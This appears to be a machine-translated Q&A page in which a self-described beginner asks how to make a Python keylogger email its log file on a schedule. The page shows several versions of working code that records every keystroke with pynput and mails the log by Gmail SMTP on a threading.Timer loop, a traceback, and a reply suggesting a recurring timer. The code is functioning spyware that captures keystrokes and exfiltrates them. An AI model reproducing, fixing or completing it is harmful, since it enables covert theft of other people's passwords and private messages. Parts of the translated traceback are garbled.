让Python脚本每小时做一些事情
对于一个项目,我正在开发python键盘记录器。我已经完成了密钥记录模块和电子邮件模块,它们将日志文件发送回我,但在将它们合并到一起时遇到了问题。我希望键盘记录器每24小时向我发送一封包含日志文件的电子邮件。我怎么能这么做 我尝试使用一个简单的time.sleep()延迟,但由于keylogging模块只有在我将其作为一个进程终止时才会停止,因此它永远不会到达延迟,因为它是“无限”的 这是我目前的代码:让Python脚本每小时做一些事情,python,time,Python,Time,对于一个项目,我正在开发python键盘记录器。我已经完成了密钥记录模块和电子邮件模块,它们将日志文件发送回我,但在将它们合并到一起时遇到了问题。我希望键盘记录器每24小时向我发送一封包含日志文件的电子邮件。我怎么能这么做 我尝试使用一个简单的time.sleep()延迟,但由于keylogging模块只有在我将其作为一个进程终止时才会停止,因此它永远不会到达延迟,因为它是“无限”的 这是我目前的代码: import smtplib from email.mime.text import MIM
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
#Keylogging Module
def on_press(key):
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
#Email module
email_user = 'miku.rebane@gmail.com'
email_send = 'miku.rebane@gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")
server.sendmail(email_user,email_send,text)
server.quit()
请非常简单地解释答案,因为我是一个绝对的初学者
编辑:这是新的代码,不幸的是它不起作用
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading
def on_press(key):
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
def sendlog():
threading.Timer(10.0, sendlog).start()
email_user = 'miku.rebane@gmail.com'
email_send = 'miku.rebane@gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")
server.sendmail(email_user,email_send,text)
server.quit()
sendlog()
编辑3:重新组织代码,工作正常,但发送不完整的日志
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
def sendlog():
threading.Timer(10.0, sendlog).start()
email_user = 'miku.rebane@gmail.com'
email_send = 'miku.rebane@gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"password")
server.sendmail(email_user,email_send,text)
server.quit()
sendlog()
#Keylogging Module
def on_press(key):
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
编辑4:使用代码表单编辑3时出现此错误:
Traceback (most recent call last):
File "C:\Users\mikur\Desktop\keylogger testing.py", line 47, in <module>
Listener.join()
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 199, in join
six.reraise(exc_type, exc_value, exc_traceback)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\six.py", line 692, in reraise
raise value.with_traceback(tb)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 154, in inner
return f(self, *args, **kwargs)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\keyboard\_win32.py", line 237, in _process
self.on_press(key)
File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 75, in inner
if f(*args) is False:
File "C:\Users\mikur\Desktop\keylogger testing.py", line 42, in on_press
file.write(str(key))
ValueError: I/O operation on closed file.
回溯(最近一次呼叫最后一次):
文件“C:\Users\mikur\Desktop\keylogger testing.py”,第47行,在
Listener.join()
文件“C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site packages\pynput\\u util\\uuuuuu init\uuuuu.py”,第199行,在join中
六、重放(exc_类型、exc_值、exc_回溯)
文件“C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site packages\six.py”,第692行,在reraise中
通过_回溯(tb)提升值
文件“C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site packages\pynput\\u util\\uuuuuu init\uuuuu.py”,第154行,在内部
返回f(自,*args,**kwargs)
文件“C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site packages\pynput\keyboard\\ win32.py”,第237行,进程中
自开按钮(按键)
文件“C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site packages\pynput\\u util\\uuuuuu init\uuuuu.py”,第75行,在内部
如果f(*args)为False:
文件“C:\Users\mikur\Desktop\keylogger testing.py”,第42行,按
file.write(str(key))
ValueError:对关闭的文件执行I/O操作。
根据此答案:
您可以使用线程定时器
。以下是链接答案的代码片段:
import threading
def printit():
threading.Timer(5.0, printit).start()
print "Hello, World!"
printit()
您可以在脚本开始时调用(或调度)您的方法,并且每次激发时它都会重新调度自己
如果你喜欢这个答案,你应该对链接的答案进行投票,因为他是值得表扬的人。你是否愿意接受两个不同的计划或至少两个流程?一个用于日志记录,另一个用于发送电子邮件?这是一个@AnuvratParashar,我正在考虑将两者放在同一个脚本中,以使其更简单,因此只需一个过程。如果您的主进程被阻止,您将不得不启动另一个进程来发送电子邮件。您是指日志记录吗?(你说阻止)我仍然无法让它工作,电子邮件从未发送过。没有错误消息,我用新代码更新了问题。我相信它是python标准库的一部分。导入应该是您使用它所需的全部内容。即使是最初的电子邮件也没有发送?没有,什么也没有发送。是的,我确实将“mypassword”改回了gmail帐户的实际密码。我做了更多的测试,如果我删除了keylogging部分,它就可以正常工作了。每10秒钟给我发一封电子邮件,就像是在进步一样!现在我们来看看为什么键记录会破坏它。